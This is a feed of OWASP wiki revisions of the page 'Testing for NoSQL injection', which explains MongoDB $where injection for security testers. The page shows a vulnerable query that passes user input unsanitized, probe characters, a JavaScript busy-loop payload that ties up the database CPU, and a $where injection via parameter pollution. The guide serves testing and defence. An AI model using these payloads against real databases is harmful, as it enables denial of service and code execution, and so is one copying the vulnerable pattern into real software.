Bryan Sullivan from Adobe: &amp;quot;NoSQL, But Even Less Security&amp;quot; - http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf&lt;br /&gt;
&lt;br /&gt;
Erlend from Brekk Consulting: &amp;quot;[Security] NOSQL-injection&amp;quot; - http://erlend.oftedal.no/blog/?blogid=110&lt;br /&gt;
&lt;br /&gt;
Felipe Aragon from Syhunt: &amp;quot;NoSQL/SSJS Injection&amp;quot; - http://www.syhunt.com/?n=Articles.NoSQLInjection&lt;br /&gt;
&lt;br /&gt;
MongoDB Documentation: &amp;quot;How does MongoDB address SQL or Query injection?&amp;quot; - http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection&lt;br /&gt;
&lt;br /&gt;
PHP Documentation: &amp;quot;MongoCollection::find&amp;quot; - http://php.net/manual/en/mongocollection.find.php&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156616</id>
		<title>Testing for NoSQL injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156616"/>
				<updated>2013-08-09T16:39:30Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: Removed Tools section. No particular tools relevant.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[http://en.wikipedia.org/wiki/Procedural_programming] language , rather than in the declarative[http://en.wikipedia.org/wiki/Declarative_programming] SQL language, the potential impacts are greater than traditional SQL injection.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as &amp;lt;code&amp;gt; &amp;lt; &amp;gt; &amp;amp; ; &amp;lt;/code&amp;gt; will not prevent attacks against a JSON API, where special characters include &amp;lt;code&amp;gt; / { } : &amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
There are now over 150 NoSQL databases available[http://nosql-database.org/] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.&lt;br /&gt;
&lt;br /&gt;
NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.&lt;br /&gt;
&lt;br /&gt;
Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing.&lt;br /&gt;
&lt;br /&gt;
At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for NoSQL injection vulnerabilities in MongoDB:''' &amp;lt;br&amp;gt;&lt;br /&gt;
The MongoDB API expects BSON (Binary JSON) calls, and includes a secure BSON query assembly tool. However, according to MongoDB documentation - unserialized JSON and JavaScript expressions are permitted in several alternative query parameters.[http://docs.mongodb.org/manual/faq/developers/#javascript] The most commonly used API call allowing arbitrary JavaScript input is the $where operator.&lt;br /&gt;
&lt;br /&gt;
The MongoDB $where operator typically is used as a simple filter or check, as it is within SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: &amp;quot;this.credits == this.debits&amp;quot; } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Optionally JavaScript is also evaluated to allow more advanced conditions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: function() { return obj.credits - obj.debits &amp;lt; 0; } } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
If an attacker were able to manipulate the data passed into the $where operator, that attacker could include arbitrary JavaScript to be evaluated as part of the MongoDB query. An example vulnerability is exposed in the following code, if user input is passed directly into the MongoDB query without sanitization.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits &amp;lt; $userInput; } } );;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As with testing other types of injection, one does not need to fully exploit the vulnerability to demonstrate a problem. By injecting special characters relevant to the target API language, and observing the results, a tester can determine if the application correctly sanitized the input. For example within MongoDB, if a string containing any of the following special characters were passed unsanitized, it would trigger a database error.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;' &amp;quot; \ ; { }&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
With normal SQL injection, a similar vulnerability would allow an attacker to execute arbitrary SQL commands - exposing or manipulating data at will. However, because JavaScript is a fully featured language, not only does this allow an attacker to manipulate data, but also to run arbitrary code. For example, instead of just causing an error when testing, a full exploit would use the special characters to craft valid JavaScript.&lt;br /&gt;
&lt;br /&gt;
This input &amp;lt;code&amp;gt;0;var date=new Date(); do{curDate = new Date();}while(curDate-date&amp;lt;10000)&amp;lt;/code&amp;gt; inserted into $userInput in the above example code would result in the following JavaScript function being executed. This specific attack string would case the entire MongoDB instance to execute at 100% CPU usage for 10 second.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;function() { return obj.credits - obj.debits &amp;lt; 0;var date=new Date(); do{curDate = new Date();}while(curDate-date&amp;lt;10000); }&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
Even if the input used within queries is completely sanitized or parameterized, there is an alternate path in which one might trigger NoSQL injection. Many NoSQL instances have their own reserved variable names, independent of the application programming language. &lt;br /&gt;
&lt;br /&gt;
For example within MongoDB, the &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; syntax itself is a reserved query operator. It needs to be passed into the query exactly as shown; any alteration would cause a database error. However, because &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; is also a valid PHP variable name, it may be possible for an attacker to insert code into the query by creating a PHP variable named &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt;. The PHP MongoDB documentation explicitly warns developers: &amp;lt;pre&amp;gt;Please make sure that for all special query operators (starting with $) you use single quotes so that PHP doesn't try to replace &amp;quot;$exists&amp;quot; with the value of the variable $exists.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Even if a query depended on no user input, such as the following example, an attacker could exploit MongoDB by replacing the operator with malicious data.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: function() { return obj.credits - obj.debits &amp;lt; 0; } } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
One way to potentially assign data to PHP variables is via HTTP Parameter Pollution (see: [[Testing_for_HTTP_Parameter_pollution_(OWASP-DV-004)]]). By creating a variable named &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; via parameter pollution, one could trigger a MongoDB error indicating that the query is no longer valid. Any value of &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; other than the string &amp;quot;$where&amp;quot; itself, should suffice to demonstrate vulnerability. An attacker would develop a full exploit by inserting the following: &amp;lt;code&amp;gt;&amp;quot;$where: function() { //arbitrary JavaScript here }&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf&lt;br /&gt;
&lt;br /&gt;
http://erlend.oftedal.no/blog/?blogid=110&lt;br /&gt;
&lt;br /&gt;
http://www.syhunt.com/?n=Articles.NoSQLInjection&lt;br /&gt;
&lt;br /&gt;
https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf&lt;br /&gt;
&lt;br /&gt;
http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection&lt;br /&gt;
&lt;br /&gt;
http://php.net/manual/en/mongocollection.find.php&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156615</id>
		<title>Testing for NoSQL injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156615"/>
				<updated>2013-08-09T16:37:55Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: Examples&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[http://en.wikipedia.org/wiki/Procedural_programming] language , rather than in the declarative[http://en.wikipedia.org/wiki/Declarative_programming] SQL language, the potential impacts are greater than traditional SQL injection.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as &amp;lt;code&amp;gt; &amp;lt; &amp;gt; &amp;amp; ; &amp;lt;/code&amp;gt; will not prevent attacks against a JSON API, where special characters include &amp;lt;code&amp;gt; / { } : &amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
There are now over 150 NoSQL databases available[http://nosql-database.org/] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.&lt;br /&gt;
&lt;br /&gt;
NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.&lt;br /&gt;
&lt;br /&gt;
Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing.&lt;br /&gt;
&lt;br /&gt;
At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for NoSQL injection vulnerabilities in MongoDB:''' &amp;lt;br&amp;gt;&lt;br /&gt;
The MongoDB API expects BSON (Binary JSON) calls, and includes a secure BSON query assembly tool. However, according to MongoDB documentation - unserialized JSON and JavaScript expressions are permitted in several alternative query parameters.[http://docs.mongodb.org/manual/faq/developers/#javascript] The most commonly used API call allowing arbitrary JavaScript input is the $where operator.&lt;br /&gt;
&lt;br /&gt;
The MongoDB $where operator typically is used as a simple filter or check, as it is within SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: &amp;quot;this.credits == this.debits&amp;quot; } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Optionally JavaScript is also evaluated to allow more advanced conditions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: function() { return obj.credits - obj.debits &amp;lt; 0; } } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
If an attacker were able to manipulate the data passed into the $where operator, that attacker could include arbitrary JavaScript to be evaluated as part of the MongoDB query. An example vulnerability is exposed in the following code, if user input is passed directly into the MongoDB query without sanitization.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits &amp;lt; $userInput; } } );;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As with testing other types of injection, one does not need to fully exploit the vulnerability to demonstrate a problem. By injecting special characters relevant to the target API language, and observing the results, a tester can determine if the application correctly sanitized the input. For example within MongoDB, if a string containing any of the following special characters were passed unsanitized, it would trigger a database error.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;' &amp;quot; \ ; { }&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
With normal SQL injection, a similar vulnerability would allow an attacker to execute arbitrary SQL commands - exposing or manipulating data at will. However, because JavaScript is a fully featured language, not only does this allow an attacker to manipulate data, but also to run arbitrary code. For example, instead of just causing an error when testing, a full exploit would use the special characters to craft valid JavaScript.&lt;br /&gt;
&lt;br /&gt;
This input &amp;lt;code&amp;gt;0;var date=new Date(); do{curDate = new Date();}while(curDate-date&amp;lt;10000)&amp;lt;/code&amp;gt; inserted into $userInput in the above example code would result in the following JavaScript function being executed. This specific attack string would case the entire MongoDB instance to execute at 100% CPU usage for 10 second.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;function() { return obj.credits - obj.debits &amp;lt; 0;var date=new Date(); do{curDate = new Date();}while(curDate-date&amp;lt;10000); }&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
Even if the input used within queries is completely sanitized or parameterized, there is an alternate path in which one might trigger NoSQL injection. Many NoSQL instances have their own reserved variable names, independent of the application programming language. &lt;br /&gt;
&lt;br /&gt;
For example within MongoDB, the &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; syntax itself is a reserved query operator. It needs to be passed into the query exactly as shown; any alteration would cause a database error. However, because &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; is also a valid PHP variable name, it may be possible for an attacker to insert code into the query by creating a PHP variable named &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt;. The PHP MongoDB documentation explicitly warns developers: &amp;lt;pre&amp;gt;Please make sure that for all special query operators (starting with $) you use single quotes so that PHP doesn't try to replace &amp;quot;$exists&amp;quot; with the value of the variable $exists.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Even if a query depended on no user input, such as the following example, an attacker could exploit MongoDB by replacing the operator with malicious data.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: function() { return obj.credits - obj.debits &amp;lt; 0; } } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
One way to potentially assign data to PHP variables is via HTTP Parameter Pollution (see: [[Testing_for_HTTP_Parameter_pollution_(OWASP-DV-004)]]). By creating a variable named &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; via parameter pollution, one could trigger a MongoDB error indicating that the query is no longer valid. Any value of &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; other than the string &amp;quot;$where&amp;quot; itself, should suffice to demonstrate vulnerability. An attacker would develop a full exploit by inserting the following: &amp;lt;code&amp;gt;&amp;quot;$where: function() { //arbitrary JavaScript here }&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf&lt;br /&gt;
&lt;br /&gt;
http://erlend.oftedal.no/blog/?blogid=110&lt;br /&gt;
&lt;br /&gt;
http://www.syhunt.com/?n=Articles.NoSQLInjection&lt;br /&gt;
&lt;br /&gt;
https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf&lt;br /&gt;
&lt;br /&gt;
http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection&lt;br /&gt;
&lt;br /&gt;
http://php.net/manual/en/mongocollection.find.php&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156614</id>
		<title>Testing for NoSQL injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156614"/>
				<updated>2013-08-09T16:33:09Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[http://en.wikipedia.org/wiki/Procedural_programming] language , rather than in the declarative[http://en.wikipedia.org/wiki/Declarative_programming] SQL language, the potential impacts are greater than traditional SQL injection.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as &amp;lt;code&amp;gt; &amp;lt; &amp;gt; &amp;amp; ; &amp;lt;/code&amp;gt; will not prevent attacks against a JSON API, where special characters include &amp;lt;code&amp;gt; / { } : &amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
There are now over 150 NoSQL databases available[http://nosql-database.org/] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.&lt;br /&gt;
&lt;br /&gt;
NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.&lt;br /&gt;
&lt;br /&gt;
Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing.&lt;br /&gt;
&lt;br /&gt;
At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for NoSQL injection vulnerabilities in MongoDB:''' &amp;lt;br&amp;gt;&lt;br /&gt;
The MongoDB API expects BSON (Binary JSON) calls, and includes a secure BSON query assembly tool. However, according to MongoDB documentation - unserialized JSON and JavaScript expressions are permitted in several alternative query parameters.[http://docs.mongodb.org/manual/faq/developers/#javascript] The most commonly used API call allowing arbitrary JavaScript input is the $where operator.&lt;br /&gt;
&lt;br /&gt;
The MongoDB $where operator typically is used as a simple filter or check, as it is within SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: &amp;quot;this.credits == this.debits&amp;quot; } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Optionally JavaScript is also evaluated to allow more advanced conditions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: function() { return obj.credits - obj.debits &amp;lt; 0; } } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
If an attacker were able to manipulate the data passed into the $where operator, that attacker could include arbitrary JavaScript to be evaluated as part of the MongoDB query. An example vulnerability is exposed in the following code, if user input is passed directly into the MongoDB query without sanitization.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits &amp;lt; $userInput; } } );;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As with testing other types of injection, one does not need to fully exploit the vulnerability to demonstrate a problem. By injecting special characters relevant to the target API language, and observing the results, a tester can determine if the application correctly sanitized the input. For example within MongoDB, if a string containing any of the following special characters were passed unsanitized, it would trigger a database error.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;' &amp;quot; \ ; { }&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
With normal SQL injection, a similar vulnerability would allow an attacker to execute arbitrary SQL commands - exposing or manipulating data at will. However, because JavaScript is a fully featured language, not only does this allow an attacker to manipulate data, but also to run arbitrary code. For example, instead of just causing an error when testing, a full exploit would use the special characters to craft valid JavaScript.&lt;br /&gt;
&lt;br /&gt;
This input &amp;lt;code&amp;gt;0;var date=new Date(); do{curDate = new Date();}while(curDate-date&amp;lt;10000)&amp;lt;/code&amp;gt; inserted into $userInput in the above example code would result in the following JavaScript function being executed. This specific attack string would case the entire MongoDB instance to execute at 100% CPU usage for 10 second.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;function() { return obj.credits - obj.debits &amp;lt; 0;var date=new Date(); do{curDate = new Date();}while(curDate-date&amp;lt;10000); }&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
Even if the input used within queries is completely sanitized or parameterized, there is an alternate path in which one might trigger NoSQL injection. Many NoSQL instances have their own reserved variable names, independent of the application programming language. &lt;br /&gt;
&lt;br /&gt;
For example within MongoDB, the &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; syntax itself is a reserved query operator. It needs to be passed into the query exactly as shown; any alteration would cause a database error. However, because &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; is also a valid PHP variable name, it may be possible for an attacker to insert code into the query by creating a PHP variable named &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt;. The PHP MongoDB documentation explicitly warns developers: &amp;lt;pre&amp;gt;Please make sure that for all special query operators (starting with $) you use single quotes so that PHP doesn't try to replace &amp;quot;$exists&amp;quot; with the value of the variable $exists.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Even if a query depended on no user input, such as the following example, an attacker could exploit MongoDB by replacing the operator with malicious data.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: function() { return obj.credits - obj.debits &amp;lt; 0; } } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
One way to potentially assign data to PHP variables is via HTTP Parameter Pollution (see: [[Testing_for_HTTP_Parameter_pollution_(OWASP-DV-004)]]). By creating a variable named &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; via parameter pollution, one could trigger a MongoDB error indicating that the query is no longer valid. Any value of &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; other than the string &amp;quot;$where&amp;quot; itself, should suffice to demonstrate vulnerability. An attacker would develop a full exploit by inserting the following: &amp;lt;code&amp;gt;&amp;quot;$where: function() { //arbitrary JavaScript here }&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf&lt;br /&gt;
&lt;br /&gt;
http://erlend.oftedal.no/blog/?blogid=110&lt;br /&gt;
&lt;br /&gt;
http://www.syhunt.com/?n=Articles.NoSQLInjection&lt;br /&gt;
&lt;br /&gt;
https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf&lt;br /&gt;
&lt;br /&gt;
http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection&lt;br /&gt;
&lt;br /&gt;
http://php.net/manual/en/mongocollection.find.php&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156613</id>
		<title>Testing for NoSQL injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156613"/>
				<updated>2013-08-09T15:56:41Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[http://en.wikipedia.org/wiki/Procedural_programming] language , rather than in the declarative[http://en.wikipedia.org/wiki/Declarative_programming] SQL language, the potential impacts are greater than traditional SQL injection.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as &amp;lt;code&amp;gt; &amp;lt; &amp;gt; &amp;amp; ; &amp;lt;/code&amp;gt; will not prevent attacks against a JSON API, where special characters include &amp;lt;code&amp;gt; / { } : &amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
There are now over 150 NoSQL databases available[http://nosql-database.org/] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.&lt;br /&gt;
&lt;br /&gt;
NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.&lt;br /&gt;
&lt;br /&gt;
Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing.&lt;br /&gt;
&lt;br /&gt;
At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for NoSQL injection vulnerabilities in MongoDB:''' &amp;lt;br&amp;gt;&lt;br /&gt;
The MongoDB API expects BSON (Binary JSON) calls, and includes a secure BSON query assembly tool. However, according to MongoDB documentation - unserialized JSON and JavaScript expressions are permitted in several alternative query parameters.[http://docs.mongodb.org/manual/faq/developers/#javascript] The most commonly used API call allowing arbitrary JavaScript input is the $where operator.&lt;br /&gt;
&lt;br /&gt;
The MongoDB $where operator typically is used as a simple filter or check, as it is within SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: &amp;quot;this.credits == this.debits&amp;quot; } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Optionally JavaScript is also evaluated to allow more advanced conditions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: function() { return obj.credits - obj.debits &amp;lt; 0; } } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If an attacker were able to manipulate the data passed into the $where operator, that attacker could include arbitrary JavaScript to be evaluated as part of the MongoDB query. An example vulnerability is exposed in the following code, if user input is passed directly into the MongoDB query without sanitization.&lt;br /&gt;
&lt;br /&gt;
